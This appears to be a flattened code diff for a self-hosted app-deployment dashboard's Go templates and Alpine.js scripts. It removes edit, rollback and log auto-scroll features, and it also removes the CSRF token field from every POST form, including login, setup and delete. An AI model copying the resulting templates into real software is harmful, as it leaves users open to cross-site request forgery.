this.containerLogs = newLogs;
this.containerStatus = data.status; this.containerStatus = data.status;
if (changed && this._containerAutoScroll) { this.$nextTick(() => {
this.$nextTick(() => { Alpine.store("utils").scrollToBottom(this.$refs.containerLogsWrapper);
Alpine.store("utils").scrollToBottom(this.$refs.containerLogsWrapper); });
});
}
} catch (err) { } catch (err) {
this.containerLogs = "Failed to fetch logs"; this.containerLogs = "Failed to fetch logs";
} }
@@ -285,15 +231,11 @@ document.addEventListener("alpine:init", () => {
`/apps/${this.appId}/deployments/${this.currentDeploymentId}/logs`, `/apps/${this.appId}/deployments/${this.currentDeploymentId}/logs`,
); );
const data = await res.json(); const data = await res.json();
const newLogs = data.logs || "No build logs available"; this.buildLogs = data.logs || "No build logs available";
const changed = newLogs !== this.buildLogs;
this.buildLogs = newLogs;
this.buildStatus = data.status; this.buildStatus = data.status;
if (changed && this._buildAutoScroll) { this.$nextTick(() => {
this.$nextTick(() => { Alpine.store("utils").scrollToBottom(this.$refs.buildLogsWrapper);
Alpine.store("utils").scrollToBottom(this.$refs.buildLogsWrapper); });
});
}
} catch (err) { } catch (err) {
this.buildLogs = "Failed to fetch logs"; this.buildLogs = "Failed to fetch logs";
} }
@@ -364,23 +306,12 @@ document.addEventListener("alpine:init", () => {
logs: "", logs: "",
status: config.status || "", status: config.status || "",
pollInterval: null, pollInterval: null,
_autoScroll: true,
init() { init() {
// Read initial logs from script tag (avoids escaping issues) // Read initial logs from script tag (avoids escaping issues)
const initialLogsEl = this.$el.querySelector(".initial-logs"); const initialLogsEl = this.$el.querySelector(".initial-logs");
this.logs = initialLogsEl?.textContent || "Loading..."; this.logs = initialLogsEl?.textContent || "Loading...";
// Set up scroll tracking
this.$nextTick(() => {
const wrapper = this.$refs.logsWrapper;
if (wrapper) {
wrapper.addEventListener('scroll', () => {
this._autoScroll = Alpine.store("utils").isScrolledToBottom(wrapper);
}, { passive: true });
}
});
// Only poll if deployment is in progress // Only poll if deployment is in progress
if (Alpine.store("utils").isDeploying(this.status)) { if (Alpine.store("utils").isDeploying(this.status)) {
this.fetchLogs(); this.fetchLogs();
@@ -405,8 +336,8 @@ document.addEventListener("alpine:init", () => {
this.logs = newLogs; this.logs = newLogs;
this.status = data.status; this.status = data.status;
// Scroll to bottom only when content changes AND user hasn't scrolled up // Scroll to bottom only when content changes
if (logsChanged && this._autoScroll) { if (logsChanged) {
this.$nextTick(() => { this.$nextTick(() => {
Alpine.store("utils").scrollToBottom(this.$refs.logsWrapper); Alpine.store("utils").scrollToBottom(this.$refs.logsWrapper);
}); });
@@ -457,18 +388,7 @@ document.addEventListener("alpine:init", () => {
} }
this.fetchAppStatus(); this.fetchAppStatus();
this._scheduleStatusPoll(); setInterval(() => this.fetchAppStatus(), 1000);
},
_statusPollTimer: null,
_scheduleStatusPoll() {
if (this._statusPollTimer) clearTimeout(this._statusPollTimer);
const interval = this.isDeploying ? 1000 : 10000;
this._statusPollTimer = setTimeout(() => {
this.fetchAppStatus();
this._scheduleStatusPoll();
}, interval);
}, },
async fetchAppStatus() { async fetchAppStatus() {
@@ -503,7 +423,6 @@ document.addEventListener("alpine:init", () => {
// Update deploying state based on latest deployment status // Update deploying state based on latest deployment status
if (deploying && !this.isDeploying) { if (deploying && !this.isDeploying) {
this.isDeploying = true; this.isDeploying = true;
this._scheduleStatusPoll(); // Switch to fast polling
} else if (!deploying && this.isDeploying) { } else if (!deploying && this.isDeploying) {
// Deployment finished - reload to show final state // Deployment finished - reload to show final state
this.isDeploying = false; this.isDeploying = false;

View File

@@ -35,21 +35,10 @@
<div class="flex gap-3"> <div class="flex gap-3">
<a href="/apps/{{.App.ID}}/edit" class="btn-secondary">Edit</a> <a href="/apps/{{.App.ID}}/edit" class="btn-secondary">Edit</a>
<form method="POST" action="/apps/{{.App.ID}}/deploy" class="inline" @submit="submitDeploy()"> <form method="POST" action="/apps/{{.App.ID}}/deploy" class="inline" @submit="submitDeploy()">
{{ .CSRFField }}
<button type="submit" class="btn-success" x-bind:disabled="deploying" x-bind:class="{ 'opacity-50 cursor-not-allowed': deploying }"> <button type="submit" class="btn-success" x-bind:disabled="deploying" x-bind:class="{ 'opacity-50 cursor-not-allowed': deploying }">
<span x-text="deploying ? 'Deploying...' : 'Deploy Now'"></span> <span x-text="deploying ? 'Deploying...' : 'Deploy Now'"></span>
</button> </button>
</form> </form>
<form method="POST" action="/apps/{{.App.ID}}/deployments/cancel" class="inline" x-show="deploying" x-cloak x-data="confirmAction('Cancel the current deployment?')" @submit="confirm($event)">
{{ .CSRFField }}
<button type="submit" class="btn-danger">Cancel Deploy</button>
</form>
{{if .App.PreviousImageID.Valid}}
<form method="POST" action="/apps/{{.App.ID}}/rollback" class="inline" x-data="confirmAction('Roll back to the previous deployment?')" @submit="confirm($event)">
{{ .CSRFField }}
<button type="submit" class="btn-warning">Rollback</button>
</form>
{{end}}
</div> </div>
</div> </div>
@@ -112,34 +101,14 @@
</thead> </thead>
<tbody class="table-body"> <tbody class="table-body">
{{range .EnvVars}} {{range .EnvVars}}
<tr x-data="{ editing: false }"> <tr>
<template x-if="!editing"> <td class="font-mono font-medium">{{.Key}}</td>
<td class="font-mono font-medium">{{.Key}}</td> <td class="font-mono text-gray-500">{{.Value}}</td>
</template> <td class="text-right">
<template x-if="!editing"> <form method="POST" action="/apps/{{$.App.ID}}/env/{{.ID}}/delete" class="inline" x-data="confirmAction('Delete this environment variable?')" @submit="confirm($event)">
<td class="font-mono text-gray-500">{{.Value}}</td> <button type="submit" class="text-error-500 hover:text-error-700 text-sm">Delete</button>
</template> </form>
<template x-if="!editing"> </td>
<td class="text-right">
<button @click="editing = true" class="text-primary-600 hover:text-primary-800 text-sm mr-2">Edit</button>
<form method="POST" action="/apps/{{$.App.ID}}/env-vars/{{.ID}}/delete" class="inline" x-data="confirmAction('Delete this environment variable?')" @submit="confirm($event)">
{{ $.CSRFField }}
<button type="submit" class="text-error-500 hover:text-error-700 text-sm">Delete</button>
</form>
</td>
</template>
<template x-if="editing">
<td colspan="3">
<form method="POST" action="/apps/{{$.App.ID}}/env-vars/{{.ID}}/edit" class="flex gap-2 items-center">
{{ $.CSRFField }}
<input type="text" name="key" value="{{.Key}}" required class="input flex-1 font-mono text-sm">
<input type="text" name="value" value="{{.Value}}" required class="input flex-1 font-mono text-sm">
<button type="submit" class="btn-primary text-sm">Save</button>
<button type="button" @click="editing = false" class="text-gray-500 hover:text-gray-700 text-sm">Cancel</button>
</form>
<p class="text-xs text-amber-600 mt-1">⚠ Container restart needed after env var changes.</p>
</td>
</template>
</tr> </tr>
{{end}} {{end}}
</tbody> </tbody>
@@ -147,7 +116,6 @@
</div> </div>
{{end}} {{end}}
<form method="POST" action="/apps/{{.App.ID}}/env" class="flex flex-col sm:flex-row gap-2"> <form method="POST" action="/apps/{{.App.ID}}/env" class="flex flex-col sm:flex-row gap-2">
{{ .CSRFField }}
<input type="text" name="key" placeholder="KEY" required class="input flex-1 font-mono text-sm"> <input type="text" name="key" placeholder="KEY" required class="input flex-1 font-mono text-sm">
<input type="text" name="value" placeholder="value" required class="input flex-1 font-mono text-sm"> <input type="text" name="value" placeholder="value" required class="input flex-1 font-mono text-sm">
<button type="submit" class="btn-primary">Add</button> <button type="submit" class="btn-primary">Add</button>
@@ -176,40 +144,20 @@
</td> </td>
</tr> </tr>
{{range .Labels}} {{range .Labels}}
<tr x-data="{ editing: false }"> <tr>
<template x-if="!editing"> <td class="font-mono font-medium">{{.Key}}</td>
<td class="font-mono font-medium">{{.Key}}</td> <td class="font-mono text-gray-500">{{.Value}}</td>
</template> <td class="text-right">
<template x-if="!editing"> <form method="POST" action="/apps/{{$.App.ID}}/labels/{{.ID}}/delete" class="inline" x-data="confirmAction('Delete this label?')" @submit="confirm($event)">
<td class="font-mono text-gray-500">{{.Value}}</td> <button type="submit" class="text-error-500 hover:text-error-700 text-sm">Delete</button>
</template> </form>
<template x-if="!editing"> </td>
<td class="text-right">
<button @click="editing = true" class="text-primary-600 hover:text-primary-800 text-sm mr-2">Edit</button>
<form method="POST" action="/apps/{{$.App.ID}}/labels/{{.ID}}/delete" class="inline" x-data="confirmAction('Delete this label?')" @submit="confirm($event)">
{{ $.CSRFField }}
<button type="submit" class="text-error-500 hover:text-error-700 text-sm">Delete</button>
</form>
</td>
</template>
<template x-if="editing">
<td colspan="3">
<form method="POST" action="/apps/{{$.App.ID}}/labels/{{.ID}}/edit" class="flex gap-2 items-center">
{{ $.CSRFField }}
<input type="text" name="key" value="{{.Key}}" required class="input flex-1 font-mono text-sm">
<input type="text" name="value" value="{{.Value}}" required class="input flex-1 font-mono text-sm">
<button type="submit" class="btn-primary text-sm">Save</button>
<button type="button" @click="editing = false" class="text-gray-500 hover:text-gray-700 text-sm">Cancel</button>
</form>
</td>
</template>
</tr> </tr>
{{end}} {{end}}
</tbody> </tbody>
</table> </table>
</div> </div>
<form method="POST" action="/apps/{{.App.ID}}/labels" class="flex flex-col sm:flex-row gap-2"> <form method="POST" action="/apps/{{.App.ID}}/labels" class="flex flex-col sm:flex-row gap-2">
{{ .CSRFField }}
<input type="text" name="key" placeholder="label.key" required class="input flex-1 font-mono text-sm"> <input type="text" name="key" placeholder="label.key" required class="input flex-1 font-mono text-sm">
<input type="text" name="value" placeholder="value" required class="input flex-1 font-mono text-sm"> <input type="text" name="value" placeholder="value" required class="input flex-1 font-mono text-sm">
<button type="submit" class="btn-primary">Add</button> <button type="submit" class="btn-primary">Add</button>
@@ -232,46 +180,21 @@
</thead> </thead>
<tbody class="table-body"> <tbody class="table-body">
{{range .Volumes}} {{range .Volumes}}
<tr x-data="{ editing: false }"> <tr>
<template x-if="!editing"> <td class="font-mono">{{.HostPath}}</td>
<td class="font-mono">{{.HostPath}}</td> <td class="font-mono">{{.ContainerPath}}</td>
</template> <td>
<template x-if="!editing"> {{if .ReadOnly}}
<td class="font-mono">{{.ContainerPath}}</td> <span class="badge-neutral">Read-only</span>
</template> {{else}}
<template x-if="!editing"> <span class="badge-info">Read-write</span>
<td> {{end}}
{{if .ReadOnly}} </td>
<span class="badge-neutral">Read-only</span> <td class="text-right">
{{else}} <form method="POST" action="/apps/{{$.App.ID}}/volumes/{{.ID}}/delete" class="inline" x-data="confirmAction('Delete this volume mount?')" @submit="confirm($event)">
<span class="badge-info">Read-write</span> <button type="submit" class="text-error-500 hover:text-error-700 text-sm">Delete</button>
{{end}} </form>
</td> </td>
</template>
<template x-if="!editing">
<td class="text-right">
<button @click="editing = true" class="text-primary-600 hover:text-primary-800 text-sm mr-2">Edit</button>
<form method="POST" action="/apps/{{$.App.ID}}/volumes/{{.ID}}/delete" class="inline" x-data="confirmAction('Delete this volume mount?')" @submit="confirm($event)">
{{ $.CSRFField }}
<button type="submit" class="text-error-500 hover:text-error-700 text-sm">Delete</button>
</form>
</td>
</template>
<template x-if="editing">
<td colspan="4">
<form method="POST" action="/apps/{{$.App.ID}}/volumes/{{.ID}}/edit" class="flex gap-2 items-center">
{{ $.CSRFField }}
<input type="text" name="host_path" value="{{.HostPath}}" required class="input flex-1 font-mono text-sm" placeholder="/host/path">
<input type="text" name="container_path" value="{{.ContainerPath}}" required class="input flex-1 font-mono text-sm" placeholder="/container/path">
<label class="flex items-center gap-1 text-sm text-gray-600 whitespace-nowrap">
<input type="checkbox" name="readonly" value="1" {{if .ReadOnly}}checked{{end}} class="rounded border-gray-300 text-primary-600 focus:ring-primary-500">
RO
</label>
<button type="submit" class="btn-primary text-sm">Save</button>
<button type="button" @click="editing = false" class="text-gray-500 hover:text-gray-700 text-sm">Cancel</button>
</form>
</td>
</template>
</tr> </tr>
{{end}} {{end}}
</tbody> </tbody>
@@ -279,7 +202,6 @@
</div> </div>
{{end}} {{end}}
<form method="POST" action="/apps/{{.App.ID}}/volumes" class="flex flex-col sm:flex-row gap-2 items-end"> <form method="POST" action="/apps/{{.App.ID}}/volumes" class="flex flex-col sm:flex-row gap-2 items-end">
{{ .CSRFField }}
<div class="flex-1 w-full"> <div class="flex-1 w-full">
<input type="text" name="host_path" placeholder="/host/path" required class="input font-mono text-sm"> <input type="text" name="host_path" placeholder="/host/path" required class="input font-mono text-sm">
</div> </div>
@@ -322,7 +244,6 @@
</td> </td>
<td class="text-right"> <td class="text-right">
<form method="POST" action="/apps/{{$.App.ID}}/ports/{{.ID}}/delete" class="inline" x-data="confirmAction('Delete this port mapping?')" @submit="confirm($event)"> <form method="POST" action="/apps/{{$.App.ID}}/ports/{{.ID}}/delete" class="inline" x-data="confirmAction('Delete this port mapping?')" @submit="confirm($event)">
{{ .CSRFField }}
<button type="submit" class="text-error-500 hover:text-error-700 text-sm">Delete</button> <button type="submit" class="text-error-500 hover:text-error-700 text-sm">Delete</button>
</form> </form>
</td> </td>
@@ -333,7 +254,6 @@
</div> </div>
{{end}} {{end}}
<form method="POST" action="/apps/{{.App.ID}}/ports" class="flex flex-col sm:flex-row gap-2 items-end"> <form method="POST" action="/apps/{{.App.ID}}/ports" class="flex flex-col sm:flex-row gap-2 items-end">
{{ .CSRFField }}
<div class="flex-1 w-full"> <div class="flex-1 w-full">
<label class="block text-xs text-gray-500 mb-1">Host (external)</label> <label class="block text-xs text-gray-500 mb-1">Host (external)</label>
<input type="text" name="host_port" placeholder="8080" required pattern="[0-9]+" class="input font-mono text-sm"> <input type="text" name="host_port" placeholder="8080" required pattern="[0-9]+" class="input font-mono text-sm">
@@ -359,17 +279,8 @@
<h2 class="section-title">Container Logs</h2> <h2 class="section-title">Container Logs</h2>
<span x-bind:class="containerStatusBadgeClass" x-text="containerStatusLabel"></span> <span x-bind:class="containerStatusBadgeClass" x-text="containerStatusLabel"></span>
</div> </div>
<div class="relative"> <div x-ref="containerLogsWrapper" class="bg-gray-900 rounded-lg p-4 overflow-auto" style="max-height: 400px;">
<div x-ref="containerLogsWrapper" class="bg-gray-900 rounded-lg p-4 overflow-y-auto" style="max-height: 400px;"> <pre class="text-gray-100 text-xs font-mono whitespace-pre-wrap" x-text="containerLogs"></pre>
<pre class="text-gray-100 text-xs font-mono whitespace-pre-wrap break-words m-0" x-text="containerLogs"></pre>
</div>
<button
x-show="!_containerAutoScroll"
x-transition
@click="_containerAutoScroll = true; Alpine.store('utils').scrollToBottom($refs.containerLogsWrapper)"
class="absolute bottom-2 right-4 bg-primary-600 hover:bg-primary-700 text-white text-xs px-3 py-1 rounded-full shadow-lg opacity-90 hover:opacity-100 transition"
title="Scroll to bottom"
>↓ Follow</button>
</div> </div>
</div> </div>
@@ -418,17 +329,8 @@
<h2 class="section-title">Last Deployment Build Logs</h2> <h2 class="section-title">Last Deployment Build Logs</h2>
<span x-bind:class="buildStatusBadgeClass" x-text="buildStatusLabel"></span> <span x-bind:class="buildStatusBadgeClass" x-text="buildStatusLabel"></span>
</div> </div>
<div class="relative"> <div x-ref="buildLogsWrapper" class="bg-gray-900 rounded-lg p-4 overflow-auto" style="max-height: 400px;">
<div x-ref="buildLogsWrapper" class="bg-gray-900 rounded-lg p-4 overflow-y-auto" style="max-height: 400px;"> <pre class="text-gray-100 text-xs font-mono whitespace-pre-wrap" x-text="buildLogs"></pre>
<pre class="text-gray-100 text-xs font-mono whitespace-pre-wrap break-words m-0" x-text="buildLogs"></pre>
</div>
<button
x-show="!_buildAutoScroll"
x-transition
@click="_buildAutoScroll = true; Alpine.store('utils').scrollToBottom($refs.buildLogsWrapper)"
class="absolute bottom-2 right-4 bg-primary-600 hover:bg-primary-700 text-white text-xs px-3 py-1 rounded-full shadow-lg opacity-90 hover:opacity-100 transition"
title="Scroll to bottom"
>↓ Follow</button>
</div> </div>
</div> </div>
@@ -437,7 +339,6 @@
<h2 class="text-lg font-medium text-error-700 mb-4">Danger Zone</h2> <h2 class="text-lg font-medium text-error-700 mb-4">Danger Zone</h2>
<p class="text-error-600 text-sm mb-4">Deleting this app will remove all configuration and deployment history. This action cannot be undone.</p> <p class="text-error-600 text-sm mb-4">Deleting this app will remove all configuration and deployment history. This action cannot be undone.</p>
<form method="POST" action="/apps/{{.App.ID}}/delete" x-data="confirmAction('Are you sure you want to delete this app? This action cannot be undone.')" @submit="confirm($event)"> <form method="POST" action="/apps/{{.App.ID}}/delete" x-data="confirmAction('Are you sure you want to delete this app? This action cannot be undone.')" @submit="confirm($event)">
{{ .CSRFField }}
<button type="submit" class="btn-danger">Delete App</button> <button type="submit" class="btn-danger">Delete App</button>
</form> </form>
</div> </div>

View File

@@ -21,7 +21,6 @@
{{template "alert-error" .}} {{template "alert-error" .}}
<form method="POST" action="/apps/{{.App.ID}}" class="space-y-6"> <form method="POST" action="/apps/{{.App.ID}}" class="space-y-6">
{{ .CSRFField }}
<div class="form-group"> <div class="form-group">
<label for="name" class="label">App Name</label> <label for="name" class="label">App Name</label>
<input <input

View File

@@ -21,7 +21,6 @@
{{template "alert-error" .}} {{template "alert-error" .}}
<form method="POST" action="/apps" class="space-y-6"> <form method="POST" action="/apps" class="space-y-6">
{{ .CSRFField }}
<div class="form-group"> <div class="form-group">
<label for="name" class="label">App Name</label> <label for="name" class="label">App Name</label>
<input <input

View File

@@ -32,7 +32,6 @@
New App New App
</a> </a>
<form method="POST" action="/logout" class="inline"> <form method="POST" action="/logout" class="inline">
{{ .CSRFField }}
<button type="submit" class="btn-text">Logout</button> <button type="submit" class="btn-text">Logout</button>
</form> </form>
</div> </div>

View File

@@ -69,7 +69,6 @@
<a href="/apps/{{.App.ID}}" class="btn-text text-sm py-1 px-2">View</a> <a href="/apps/{{.App.ID}}" class="btn-text text-sm py-1 px-2">View</a>
<a href="/apps/{{.App.ID}}/edit" class="btn-secondary text-sm py-1 px-2">Edit</a> <a href="/apps/{{.App.ID}}/edit" class="btn-secondary text-sm py-1 px-2">Edit</a>
<form method="POST" action="/apps/{{.App.ID}}/deploy" class="inline"> <form method="POST" action="/apps/{{.App.ID}}/deploy" class="inline">
{{ .CSRFField }}
<button type="submit" class="btn-success text-sm py-1 px-2">Deploy</button> <button type="submit" class="btn-success text-sm py-1 px-2">Deploy</button>
</form> </form>
</div> </div>

View File

@@ -18,7 +18,6 @@
<div class="section-header"> <div class="section-header">
<h1 class="text-2xl font-medium text-gray-900">Deployment History</h1> <h1 class="text-2xl font-medium text-gray-900">Deployment History</h1>
<form method="POST" action="/apps/{{.App.ID}}/deploy" @submit="submitDeploy()"> <form method="POST" action="/apps/{{.App.ID}}/deploy" @submit="submitDeploy()">
{{ .CSRFField }}
<button type="submit" class="btn-success" x-bind:disabled="isDeploying" x-bind:class="{ 'opacity-50 cursor-not-allowed': isDeploying }"> <button type="submit" class="btn-success" x-bind:disabled="isDeploying" x-bind:class="{ 'opacity-50 cursor-not-allowed': isDeploying }">
<span x-text="isDeploying ? 'Deploying...' : 'Deploy Now'"></span> <span x-text="isDeploying ? 'Deploying...' : 'Deploy Now'"></span>
</button> </button>
@@ -86,17 +85,8 @@
</a> </a>
{{end}} {{end}}
</div> </div>
<div class="relative"> <div x-ref="logsWrapper" class="bg-gray-900 rounded-lg p-4 overflow-auto" style="max-height: 400px;">
<div x-ref="logsWrapper" class="bg-gray-900 rounded-lg p-4 overflow-y-auto" style="max-height: 400px;"> <pre class="text-gray-100 text-xs font-mono whitespace-pre-wrap" x-text="logs"></pre>
<pre class="text-gray-100 text-xs font-mono whitespace-pre-wrap break-words m-0" x-text="logs"></pre>
</div>
<button
x-show="!_autoScroll"
x-transition
@click="_autoScroll = true; Alpine.store('utils').scrollToBottom($refs.logsWrapper)"
class="absolute bottom-2 right-4 bg-primary-600 hover:bg-primary-700 text-white text-xs px-3 py-1 rounded-full shadow-lg opacity-90 hover:opacity-100 transition"
title="Scroll to bottom"
>↓ Follow</button>
</div> </div>
{{if .Logs.Valid}}<script type="text/plain" class="initial-logs">{{.Logs.String}}</script>{{end}} {{if .Logs.Valid}}<script type="text/plain" class="initial-logs">{{.Logs.String}}</script>{{end}}
</div> </div>
@@ -113,7 +103,6 @@
<p class="empty-state-description">Deploy your application to see the deployment history here.</p> <p class="empty-state-description">Deploy your application to see the deployment history here.</p>
<div class="mt-6"> <div class="mt-6">
<form method="POST" action="/apps/{{.App.ID}}/deploy" @submit="submitDeploy()"> <form method="POST" action="/apps/{{.App.ID}}/deploy" @submit="submitDeploy()">
{{ .CSRFField }}
<button type="submit" class="btn-success" x-bind:disabled="isDeploying" x-bind:class="{ 'opacity-50 cursor-not-allowed': isDeploying }"> <button type="submit" class="btn-success" x-bind:disabled="isDeploying" x-bind:class="{ 'opacity-50 cursor-not-allowed': isDeploying }">
<span x-text="isDeploying ? 'Deploying...' : 'Deploy Now'"></span> <span x-text="isDeploying ? 'Deploying...' : 'Deploy Now'"></span>
</button> </button>

View File

@@ -14,7 +14,6 @@
{{template "alert-error" .}} {{template "alert-error" .}}
<form method="POST" action="/login" class="space-y-6"> <form method="POST" action="/login" class="space-y-6">
{{ .CSRFField }}
<div class="form-group"> <div class="form-group">
<label for="username" class="label">Username</label> <label for="username" class="label">Username</label>
<input <input

View File

@@ -14,7 +14,6 @@
{{template "alert-error" .}} {{template "alert-error" .}}
<form method="POST" action="/setup" class="space-y-6"> <form method="POST" action="/setup" class="space-y-6">
{{ .CSRFField }}
<div class="form-group"> <div class="form-group">
<label for="username" class="label">Username</label> <label for="username" class="label">Username</label>
<input <input